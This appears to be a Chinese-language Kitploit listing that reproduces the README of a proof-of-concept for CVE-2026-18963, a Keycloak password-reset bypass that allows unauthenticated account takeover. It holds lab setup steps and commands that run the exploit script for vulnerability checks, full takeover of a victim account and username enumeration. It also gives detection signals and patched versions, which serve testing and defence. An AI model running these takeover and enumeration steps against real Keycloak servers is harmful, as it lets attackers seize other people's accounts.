Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Keycloak_CVE-2026-18963_PoC — 此仓库是 cve-2026-18963 的 PoC。请仅在合法产品(实验室、本地环境等)上使用。 | Kitploit
工具/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证实验室与实践
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

此仓库是 cve-2026-18963 的 PoC。请仅在合法产品(实验室、本地环境等)上使用。

查看仓库
16482个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-18963

Keycloak reset-credentials 绕过 → 未认证账户接管 CVSS 9.1 | 受影响版本:Keycloak 26.0.0 – 26.7.1


目录结构

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

环境要求

  • Docker + Docker Compose
  • Python 3.9+(仅使用标准库,无需安装任何内容)
  • Linux

步骤 1:启动实验环境

docker compose up -d

或直接运行 Keycloak,而不导入 realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

等待约 30–60 秒,让 Keycloak 完成启动。

服务

服务URL版本状态
kc-vulnhttp://localhost:808026.7.1存在漏洞 ⚠️
Mailpithttp://localhost:8025latest捕获邮件

默认凭据

  • Keycloak 管理员:admin / admin
  • 受害用户:victim / OriginalPassw0rd!
  • Realm:poc | 客户端:poc-app
  • 验证配置:Realm 设置 → 登录选项卡 → 忘记密码 已开启。
  • 如果 poc realm 或 victim 用户缺失,请手动导入: 管理 Realm → 创建 Realm → 上传 realm-poc.json。

步骤 2:运行 PoC

安全检测(无需用户名,无副作用)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

在 kc-vuln 上的预期结果: [!] VULNERABLE — email gate execution served


非破坏性验证(在 Update Password 表单处停止)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

副作用:会向受害者发送一封重置邮件(可在 http://localhost:8025 查看), 并且 emailVerified 会被设置为 true。


完全接管

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

之后,通过访问 http://localhost:8080/realms/poc/account 并使用 victim / PoCPassw0rd!1 登录进行验证。


用户名枚举

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

步骤 3:将受害机重置为初始状态

该 realm 仅在首次启动时导入,因此最简单的重置方式是从头重新创建环境:

docker compose down -v && docker compose up -d

或者,在管理控制台(http://localhost:8080/admin)中手动重置密码:Users → victim → Credentials → Reset password → OriginalPassw0rd!。


清理

docker compose down -v

检测信号

信号合法行为利用行为
GET /login-actions/action-token?...✅ 是❌ 否
POST .../reset-credentials,请求体为 tryAnotherWay=yes❌ 否✅ 是
SEND_RESET_PASSWORD → UPDATE_PASSWORD,且 code_id 相同,间隔 < 2 秒罕见✅ 总是
emailVerified 翻转为 true,且无 VERIFY_EMAIL 事件❌✅ 总是

在 Mailpit(http://localhost:8025)中,密码重置邮件会送达受害者的邮箱,但当漏洞利用成功时,**邮件中的链接从未被点击**。


受影响版本

发布线受影响修复
≤ 17(WildFly)否—
26.0 – 26.326.0.0 – 26.x.x无(必须升级到 26.7.2)
26.426.4.0 – 26.4.1426.4.15(厂商向后移植)
26.526.5.0 – 26.5.7无
26.626.6.0 – 26.6.526.6.6(厂商向后移植)
26.726.7.0 – 26.7.126.7.2 ✅

26.0 之前的版本不受影响:粘性 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 标记以及重置流程中的“尝试其他方式” 选择器界面是在 26.0.0 中引入的。较旧的构建版本 只是缺少存在漏洞的代码路径——这与已被修补并不相同。


参考资料

  • Sploitus(原始 README):https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Keycloak issue:https://github.com/keycloak/keycloak/issues/51833
  • 修复 PR:https://github.com/keycloak/keycloak/pull/51844
  • GHSA:GHSA-4gv3-mc9p-5wqc
  • Red Hat:https://access.redhat.com/security/cve/cve-2026-18963
下载工具